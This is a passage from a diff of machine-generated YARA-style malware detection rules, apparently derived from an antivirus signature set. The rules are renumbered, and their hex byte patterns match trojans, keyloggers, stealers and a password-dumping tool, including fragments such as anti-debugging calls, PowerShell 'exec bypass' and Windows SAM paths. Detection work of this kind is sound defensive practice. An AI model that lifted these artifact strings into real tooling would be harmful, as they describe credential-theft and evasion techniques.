1)*14435+(#a_e2_3 & 1)*0) >=4 } -rule _InfrastructureShared_15010{ +rule _InfrastructureShared_15990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -173155,7 +184663,7 @@ rule _InfrastructureShared_15010{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*31+(#a_01_2 & 1)*10256+(#a_3a_3 & 1)*25956) >=4 } -rule _InfrastructureShared_15011{ +rule _InfrastructureShared_15991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -173167,7 +184675,7 @@ rule _InfrastructureShared_15011{ ((#a_4c_0 & 1)*21539+(#a_8b_2 & 1)*400+(#a_6a_3 & 1)*257) >=4 } -rule _InfrastructureShared_15012{ +rule _InfrastructureShared_15992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -173175,23 +184683,27 @@ rule _InfrastructureShared_15012{ $a_46_0 = {45 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 74 61 72 63 6f 6e 2e 41 21 64 68 61 00 01 00 1a 01 2f 00 68 00 6f 00 73 00 74 00 6c 00 69 00 73 00 74 00 2e 00 74 00 78 00 74 00 01 00 14 01 2f 00 6f 00 72 00 64 00 65 00 72 00 } //16675 $a_00_1 = {78 00 74 00 01 00 52 01 3c 00 66 00 6f 00 72 00 6d 00 20 00 6d 00 65 00 74 00 68 00 6f 00 64 00 3d 00 27 00 70 00 6f 00 73 00 74 00 27 00 20 00 61 00 63 00 74 00 69 00 6f 00 6e 00 3d 00 27 00 2e 00 2f 00 6e 00 6f 00 74 00 69 00 63 00 65 00 2e 00 61 00 73 00 70 00 78 00 01 00 16 01 2f 00 72 00 65 00 73 00 75 00 6c 00 74 00 2e 00 74 00 78 00 74 00 } //46 $a_01_2 = {4d 79 48 74 74 70 53 65 72 76 65 72 } //1 MyHttpServer - $a_e2_3 = {00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 42 57 4d 21 4d 54 42 00 02 00 78 01 2e 72 64 61 74 61 00 00 8e 9d 01 00 00 c0 0d 00 00 a0 01 00 00 c0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 0a 05 05 00 00 60 0f 00 00 80 01 00 00 60 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 } //0 + $a_e2_3 = {00 04 00 04 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 48 43 21 4d 54 42 00 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 19 81 01 4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 } //0 + $a_01_4 = {00 18 81 01 4e 74 51 75 65 72 79 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 17 81 01 4e 74 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 01 00 17 81 01 51 75 65 72 79 50 65 72 66 6f 72 6d 61 6e 63 65 43 6f 75 6e 74 65 72 01 00 0c 81 01 47 65 74 54 69 63 6b 43 6f 75 6e 74 00 00 78 e2 00 00 05 00 05 00 04 00 21 23 } //29541 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_01_2 & 1)*1+(#a_e2_3 & 1)*0) >=4 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_01_2 & 1)*1+(#a_e2_3 & 1)*0+(#a_01_4 & 1)*29541) >=4 } -rule _InfrastructureShared_15013{ +rule _InfrastructureShared_15993{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 42 57 4d 21 4d 54 42 00 02 00 78 01 2e 72 64 61 74 61 00 00 8e 9d 01 00 00 c0 0d 00 00 a0 01 00 00 c0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //21539 - $a_64_1 = {74 61 00 00 00 0a 05 05 00 00 60 0f 00 00 80 01 00 00 60 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 } //16384 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 48 43 21 4d 54 42 00 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 19 } //18467 + $a_74_1 = {75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 01 00 18 81 01 4e 74 51 75 65 72 79 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 17 81 01 4e 74 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 } //385 + $a_65_3 = {79 50 65 72 66 6f 72 6d 61 6e 63 65 43 6f 75 6e 74 65 72 01 00 0c 81 01 47 65 74 54 69 63 6b 43 6f 75 6e 74 00 00 78 e2 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 52 48 59 21 4d 54 42 00 02 00 1f 03 50 45 00 00 4c 01 03 90 01 11 0b 01 50 00 00 ac 02 00 00 6e 00 00 00 00 00 00 5a } //20737 + $a_00_4 = {01 00 28 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 6e 00 6f 00 64 00 2e 00 70 00 73 00 31 00 01 00 16 00 65 00 78 00 65 00 63 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 01 00 47 02 5c 00 53 00 74 00 61 00 72 00 74 00 20 00 4d 00 65 00 6e 00 75 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 5c 00 90 02 0f 2e 00 76 00 62 00 73 00 90 } //715 + $a_00_6 = {05 00 05 00 21 } //0 condition: - ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*16384) >=5 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*385+(#a_65_3 & 1)*20737+(#a_00_4 & 1)*715+(#a_00_6 & 1)*0) >=4 } -rule _InfrastructureShared_15014{ +rule _InfrastructureShared_15994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -173203,7 +184715,7 @@ rule _InfrastructureShared_15014{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*40+(#a_00_3 & 1)*92) >=5 } -rule _InfrastructureShared_15015{ +rule _InfrastructureShared_15995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -173217,7 +184729,7 @@ rule _InfrastructureShared_15015{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25699+(#a_74_2 & 1)*291+(#a_2f_3 & 1)*28769+(#a_6f_4 & 1)*17016) >=5 } -rule _InfrastructureShared_15016{ +rule _InfrastructureShared_15996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -173230,7 +184742,7 @@ rule _InfrastructureShared_15016{ ((#a_41_0 & 1)*20515+(#a_75_1 & 1)*12146+(#a_70_2 & 1)*16732+(#a_00_3 & 1)*110) >=5 } -rule _InfrastructureShared_15017{ +rule _InfrastructureShared_15997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -173241,7 +184753,7 @@ rule _InfrastructureShared_15017{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*102) >=6 } -rule _InfrastructureShared_15018{ +rule _InfrastructureShared_15998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173250,28 +184762,41 @@ rule _InfrastructureShared_15018{ $a_67_1 = {65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 01 00 15 01 50 69 63 74 75 72 65 42 6f 78 31 5f 4d 6f 75 73 65 4d 6f 76 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 27 01 57 69 6e 64 6f 77 73 41 70 70 6c 69 63 61 74 69 6f 6e 31 2e 41 62 6f 75 74 42 6f 78 31 2e 72 65 73 6f 75 72 63 65 73 01 00 16 01 44 65 62 75 67 67 65 72 } //25189 $a_77_2 = {61 62 6c 65 53 74 61 74 65 00 00 78 e2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 35 30 33 32 33 21 4d 54 42 00 01 00 24 81 01 61 61 63 31 39 36 38 62 2d 32 66 65 35 2d 34 32 31 34 2d 61 36 61 38 2d 36 30 33 39 33 39 32 39 64 61 36 38 01 00 19 81 01 47 } //29250 $a_69_3 = {4c 69 62 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1e 81 01 47 41 64 6d 69 6e 4c 69 62 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 20 01 3b 04 38 04 42 04 3e 04 3a 04 01 05 43 00 48 00 00 05 44 00 48 00 00 09 4c 00 6f 00 61 00 64 00 01 00 12 01 47 65 74 42 6f 6d 62 41 72 6f 75 6e 64 43 6f } //25665 - $a_01_4 = {00 07 01 4d 61 70 4c 6f 61 64 00 00 78 e2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 54 31 32 33 21 4d 54 42 00 01 00 0a 81 01 73 65 6d 69 6f 70 65 6e 6c 79 01 00 22 81 01 63 61 6c 69 66 6f 72 6e 69 65 72 20 6f 76 65 72 73 70 72 69 6e 67 20 68 65 70 68 61 65 73 74 69 61 6e 01 00 19 81 01 72 } //28277 - $a_72_5 = {73 6c 75 6d 73 73 74 65 72 73 20 61 69 67 75 65 6c 6c 65 01 00 0f 81 01 75 76 69 73 68 65 64 73 20 67 72 75 65 64 65 01 00 21 81 01 6f 76 65 72 62 65 61 72 69 6e 67 6e 65 73 73 20 6b 6f 6c 6c 65 6b 74 69 76 69 73 74 65 72 6e 65 73 01 00 25 81 01 6c 6f 75 64 65 6e 73 20 66 6f 72 62 75 6e 64 73 66 6f 72 } //25697 + $a_01_4 = {00 07 01 4d 61 70 4c 6f 61 64 00 00 78 e2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 43 21 4d 54 42 00 01 00 15 81 01 74 72 69 6e 64 65 6c 65 6e 64 65 73 20 6a 64 69 6e 64 65 72 73 01 00 24 81 01 6b 6c 61 67 65 69 6e 73 74 61 6e 73 65 6e 20 6b 6f 6e 73 6f 72 74 69 65 72 73 } //28277 + $a_69_5 = {6f 6c 69 75 6d 01 00 0f 81 01 62 6f 65 68 6d 65 6e 69 74 65 20 61 64 61 69 01 00 25 81 01 66 65 73 74 66 6f 72 65 73 74 69 6c 6c 69 6e 67 73 20 62 65 6c 79 73 6e 69 6e 67 73 74 69 64 65 72 2e 65 78 65 01 00 19 81 01 65 66 74 65 72 64 61 74 65 72 69 6e 67 65 72 6e 65 20 64 64 73 64 72 6f 6d 01 00 11 81 01 64 61 67 6c 65 6a 65 72 6e 65 73 20 } //29728 condition: - ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*25189+(#a_77_2 & 1)*29250+(#a_69_3 & 1)*25665+(#a_01_4 & 1)*28277+(#a_72_5 & 1)*25697) >=6 + ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*25189+(#a_77_2 & 1)*29250+(#a_69_3 & 1)*25665+(#a_01_4 & 1)*28277+(#a_69_5 & 1)*29728) >=6 } -rule _InfrastructureShared_15019{ +rule _InfrastructureShared_15999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 35 30 33 32 33 21 4d 54 42 00 01 00 24 81 01 61 61 63 31 39 36 38 62 2d 32 66 65 35 2d 34 32 31 34 2d 61 36 61 38 2d 36 30 33 39 33 39 32 39 64 61 36 38 01 00 19 81 01 } //18467 $a_6d_1 = {6e 4c 69 62 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1e 81 01 47 41 64 6d 69 6e 4c 69 62 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 20 01 3b 04 38 04 42 04 3e 04 3a 04 01 05 43 00 48 00 00 05 44 00 48 00 00 09 4c 00 6f 00 61 00 64 00 01 00 12 01 47 65 74 42 6f } //16711 - $a_72_2 = {75 6e 64 43 6f 75 6e 74 01 00 07 01 4d 61 70 4c 6f 61 64 00 00 78 e2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 54 31 32 33 21 4d 54 42 00 } //25197 - $a_81_3 = {73 65 6d 69 6f 70 65 6e 6c 79 } //1 semiopenly - $a_81_4 = {63 61 6c 69 66 6f 72 6e 69 65 72 20 6f 76 65 72 73 70 72 69 6e 67 20 68 65 70 68 61 65 73 74 69 61 6e } //1 californier overspring hephaestian - $a_81_5 = {72 61 64 65 72 20 73 6c 75 6d 73 73 74 65 72 73 20 61 69 67 75 65 6c 6c 65 } //1 rader slumssters aiguelle + $a_72_2 = {75 6e 64 43 6f 75 6e 74 01 00 07 01 4d 61 70 4c 6f 61 64 00 00 78 e2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 43 21 4d } //25197 + $a_01_4 = {74 72 69 6e 64 65 6c 65 6e 64 65 73 20 6a 64 69 6e 64 65 72 73 01 00 24 81 01 6b 6c 61 67 65 69 6e 73 74 61 6e 73 65 6e 20 6b 6f 6e 73 6f 72 74 69 65 72 73 20 74 72 69 66 6f 6c 69 75 6d 01 00 0f 81 01 62 6f 65 68 6d 65 6e 69 74 65 20 61 64 61 69 01 00 25 81 01 66 65 73 74 66 6f 72 65 73 74 69 6c 6c 69 6e 67 73 20 62 65 6c 79 73 6e 69 6e 67 73 74 69 64 65 72 2e 65 78 65 01 00 19 81 01 } //5376 + $a_65_5 = {64 61 74 65 72 69 6e 67 65 72 6e 65 20 64 64 73 64 72 6f 6d 01 00 11 81 01 64 61 67 6c 65 6a 65 72 6e 65 73 20 73 6d 6c 64 73 00 00 78 e2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 54 31 32 33 21 4d 54 42 00 01 00 0a 81 01 73 65 6d 69 6f 70 65 6e 6c 79 01 00 22 81 01 63 61 6c 69 66 6f 72 6e } //26213 condition: - ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*16711+(#a_72_2 & 1)*25197+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*16711+(#a_72_2 & 1)*25197+(#a_01_4 & 1)*5376+(#a_65_5 & 1)*26213) >=6 } -rule _InfrastructureShared_15020{ +rule _InfrastructureShared_16000{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 43 21 4d 54 42 00 01 00 15 81 01 74 72 69 6e 64 65 6c 65 6e 64 65 73 20 6a 64 69 6e 64 65 72 73 01 00 24 81 01 6b 6c 61 67 65 69 6e 73 74 61 6e 73 65 6e 20 6b 6f 6e 73 6f 72 } //18467 + $a_72_1 = {20 74 72 69 66 6f 6c 69 75 6d 01 00 0f 81 01 62 6f 65 68 6d 65 6e 69 74 65 20 61 64 61 69 01 00 25 81 01 66 65 73 74 66 6f 72 65 73 74 69 6c 6c 69 6e 67 73 20 62 65 6c 79 73 6e 69 6e 67 73 74 69 64 65 72 2e 65 78 65 01 00 19 81 01 65 66 74 65 72 64 61 74 65 72 69 6e 67 65 72 6e 65 20 64 64 73 64 72 6f } //26996 + $a_67_3 = {65 6a 65 72 6e 65 73 20 73 6d 6c 64 73 00 00 78 e2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 54 31 32 33 21 4d 54 42 00 01 00 0a 81 01 73 65 6d 69 6f 70 65 6e 6c 79 01 00 22 81 01 63 61 6c 69 66 6f 72 6e 69 65 72 20 6f 76 65 72 73 70 } //25601 + $a_67_4 = {68 65 70 68 61 65 73 74 69 61 6e 01 00 19 81 01 72 61 64 65 72 20 73 6c 75 6d 73 73 74 65 72 73 20 61 69 67 75 65 6c 6c 65 01 00 0f 81 01 75 76 69 73 68 65 64 73 20 67 72 75 65 64 65 01 00 21 81 01 6f 76 65 72 62 65 61 72 69 6e 67 6e 65 73 73 20 6b 6f 6c 6c 65 6b 74 69 76 69 73 74 65 72 6e 65 73 01 00 25 81 01 6c 6f 75 64 65 6e } //26994 + $a_6f_5 = {62 75 6e 64 73 66 6f 72 76 61 6c 74 6e 69 6e 67 73 64 6f 6d 73 74 6f 6c 65 6e 00 00 78 e2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 4f 54 31 32 33 21 4d 54 42 00 01 00 24 81 01 63 68 61 6e 64 61 6c 61 20 6d 61 72 74 69 6e 65 7a 73 20 73 65 64 69 6d 65 } //8307 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26996+(#a_67_3 & 1)*25601+(#a_67_4 & 1)*26994+(#a_6f_5 & 1)*8307) >=6 + +} +rule _InfrastructureShared_16001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173286,7 +184811,7 @@ rule _InfrastructureShared_15020{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6400+(#a_00_2 & 1)*0+(#a_52_3 & 1)*21320+(#a_67_4 & 1)*26989+(#a_6f_5 & 1)*29807) >=6 } -rule _InfrastructureShared_15021{ +rule _InfrastructureShared_16002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173300,7 +184825,7 @@ rule _InfrastructureShared_15021{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*8293+(#a_61_2 & 1)*30319+(#a_63_3 & 1)*14131+(#a_5c_5 & 1)*17665) >=6 } -rule _InfrastructureShared_15022{ +rule _InfrastructureShared_16003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173315,7 +184840,7 @@ rule _InfrastructureShared_15022{ ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*13102+(#a_57_2 & 1)*13148+(#a_2e_3 & 1)*25956+(#a_64_4 & 1)*25391+(#a_20_5 & 1)*30063) >=6 } -rule _InfrastructureShared_15023{ +rule _InfrastructureShared_16004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173330,7 +184855,7 @@ rule _InfrastructureShared_15023{ ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*25202+(#a_2e_2 & 1)*28003+(#a_52_3 & 1)*20538+(#a_6f_4 & 1)*20526+(#a_74_5 & 1)*28265) >=6 } -rule _InfrastructureShared_15024{ +rule _InfrastructureShared_16005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -173341,12 +184866,12 @@ rule _InfrastructureShared_15024{ $a_75_3 = {00 18 80 01 6d 65 64 69 61 67 65 74 2d 61 64 6d 69 6e 2d 70 72 6f 78 79 2e 65 78 65 01 00 2c 80 01 53 4f 46 54 57 41 52 45 5c 42 61 62 79 6c 6f 6e 54 6f 6f 6c 62 61 72 5c 42 61 62 79 6c 6f 6e 54 6f 6f 6c 62 61 72 5c 49 6e 73 74 6c 01 00 1a 80 01 53 4f 46 54 57 41 52 45 5c 53 77 65 65 74 49 4d 5c 4d 65 73 73 65 6e 67 65 72 01 00 0b 80 01 41 } //11896 $a_74_4 = {62 2e 65 78 65 01 00 0a 80 01 74 6f 72 72 65 6e 74 75 72 6c 00 00 78 e2 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 48 42 21 4d 54 42 00 01 00 09 81 01 45 7a 6c 65 } //28272 $a_6b_5 = {01 00 0c 81 01 63 61 6e 74 79 6f 75 73 65 65 6d 65 01 00 08 81 01 55 6e 74 69 73 74 61 6e 01 00 18 81 01 4d 44 35 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 1b 81 01 53 48 41 32 35 36 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 09 81 01 53 70 61 63 65 54 65 61 6d 01 00 15 81 01 66 } //27502 - $a_43_6 = {54 45 6e 43 41 47 45 6b 45 51 69 66 69 72 6b 01 00 1a 81 01 41 78 76 68 4d 66 6e 79 54 72 42 41 72 45 42 51 41 79 4c 68 41 68 5a 42 4f 77 00 00 78 e2 00 00 08 00 08 00 09 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 77 } //29561 + $a_43_6 = {54 45 6e 43 41 47 45 6b 45 51 69 66 69 72 6b 01 00 1a 81 01 41 78 76 68 4d 66 6e 79 54 72 42 41 72 45 42 51 41 79 4c 68 41 68 5a 42 4f 77 00 00 78 e2 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //29561 condition: ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*12152+(#a_72_2 & 1)*28783+(#a_75_3 & 1)*11896+(#a_74_4 & 1)*28272+(#a_6b_5 & 1)*27502+(#a_43_6 & 1)*29561) >=6 } -rule _InfrastructureShared_15025{ +rule _InfrastructureShared_16006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -173356,30 +184881,47 @@ rule _InfrastructureShared_15025{ $a_01_2 = {41 70 6e 53 74 75 62 2e 65 78 65 01 00 0a 80 01 74 6f 72 72 65 6e 74 75 72 6c 00 00 78 e2 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 48 42 21 4d 54 42 00 01 00 09 81 01 45 7a 6c 65 6e 6b 6f 6b 61 01 00 0c 81 01 63 61 6e 74 79 6f 75 73 65 65 6d 65 01 00 08 81 01 55 6e 74 69 73 74 61 6e 01 00 18 81 } //2816 $a_35_3 = {72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 1b 81 01 53 48 41 32 35 36 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 09 81 01 53 70 61 63 65 54 65 61 6d 01 00 } //19713 $a_66_4 = {73 } //-32491 s - $a_54_5 = {6e 43 41 47 45 6b 45 51 69 66 69 72 6b 01 00 1a 81 01 41 78 76 68 4d 66 6e 79 54 72 42 41 72 45 42 51 41 79 4c 68 41 68 5a 42 4f 77 00 00 78 e2 00 00 08 00 08 00 09 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 } //17229 - $a_32_6 = {50 77 64 75 6d 70 21 64 68 61 00 02 00 0b 01 25 73 5c 74 65 73 74 2e 70 77 64 02 00 09 01 25 73 5c 25 73 2e 65 78 65 02 00 0b 01 78 6e 68 75 3a 6f 3a 70 } //28265 + $a_54_5 = {6e 43 41 47 45 6b 45 51 69 66 69 72 6b 01 00 1a 81 01 41 78 76 68 4d 66 6e 79 54 72 42 41 72 45 42 51 41 79 4c 68 41 68 5a 42 4f 77 00 00 78 e2 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //17229 + $a_69_6 = {33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 56 21 4d 54 42 00 01 00 1b 81 01 5c 74 6f 6c 72 65 72 6f 72 64 6e 69 6e 67 73 5c 62 75 74 69 6b 73 74 6f 72 76 65 01 00 0b 81 01 41 6e 76 65 64 65 73 2e 69 6e 69 01 00 0c 81 01 4f 6c 69 76 65 74 74 65 2e 6a 70 67 01 00 } //14958 condition: - ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*27905+(#a_01_2 & 1)*2816+(#a_35_3 & 1)*19713+(#a_66_4 & 1)*-32491+(#a_54_5 & 1)*17229+(#a_32_6 & 1)*28265) >=6 + ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*27905+(#a_01_2 & 1)*2816+(#a_35_3 & 1)*19713+(#a_66_4 & 1)*-32491+(#a_54_5 & 1)*17229+(#a_69_6 & 1)*14958) >=6 } -rule _InfrastructureShared_15026{ +rule _InfrastructureShared_16007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 48 42 21 4d 54 42 00 01 00 09 81 01 45 7a 6c 65 6e 6b 6f 6b 61 01 00 0c 81 01 63 61 6e 74 79 6f 75 73 65 65 6d 65 01 00 08 81 01 55 6e 74 69 73 74 61 6e 01 00 18 } //18467 $a_44_1 = {43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 1b 81 01 53 48 41 32 35 36 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 09 81 01 53 70 61 63 65 54 65 61 6d 01 00 15 81 01 66 79 73 4d 43 } //385 - $a_6e_2 = {41 47 45 6b 45 51 69 66 69 72 6b 01 00 1a 81 01 41 78 76 68 4d 66 6e 79 54 72 42 41 72 45 42 51 41 79 4c 68 41 68 5a 42 4f 77 00 00 78 e2 00 00 08 00 08 00 09 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 } //21572 - $a_77_3 = {75 6d 70 21 64 68 61 00 02 00 0b 01 25 73 5c 74 65 73 74 2e 70 77 64 02 00 09 01 25 73 5c 25 73 2e 65 78 65 02 00 0b 01 78 6e 68 75 3a 6f 3a 70 3a 73 3a 02 00 07 01 47 65 74 48 61 73 68 02 00 23 01 43 6f 75 6c 64 6e 27 74 20 63 6f 70 79 20 } //12082 - $a_74_4 = {20 64 65 73 74 69 6e 61 74 69 6f 6e 20 25 73 2e 02 00 16 01 57 72 6f 6e 67 2f 63 6f 72 72 75 70 } //29477 - $a_20_5 = {69 76 65 3f 3f 02 00 0c 01 73 61 76 65 64 75 6d 70 2e 64 61 74 02 00 16 01 25 73 5c 53 41 4d 5c 44 6f 6d 61 69 6e 73 5c 41 63 63 6f 75 6e 74 02 00 19 01 41 73 64 20 2d 5f 2d 20 5f 52 65 67 45 6e 75 6d 4b 65 79 20 66 61 69 6c 21 00 00 78 e2 00 00 0a 00 0a 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //25972 - $a_49_6 = {2f 44 61 72 6b 53 74 65 61 6c 65 72 2e 52 48 41 21 4d 54 42 00 02 00 13 01 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 7e c6 03 01 00 10 80 01 63 6f 6d 2e 61 70 70 6c 65 2e 53 61 66 61 72 69 01 00 1b 80 01 55 6e 61 62 6c 65 20 74 6f 20 72 65 73 } //19770 - $a_65_7 = {48 54 54 50 20 70 72 6f 78 01 00 09 80 01 43 6c 69 70 62 6f 61 72 64 01 00 0e 80 01 44 6f 6d 61 69 6e 50 61 73 73 77 6f 72 64 01 00 0e 80 01 5f 63 6c 69 70 62 6f 61 72 64 48 6f 6f 6b 01 00 0d 80 01 65 6e 63 72 79 70 74 65 64 5f 6b 65 79 01 00 0a 80 01 4c 6f 67 69 6e 20 44 61 74 61 01 00 0e 80 01 4c 69 65 62 61 6f 20 42 72 6f 77 73 65 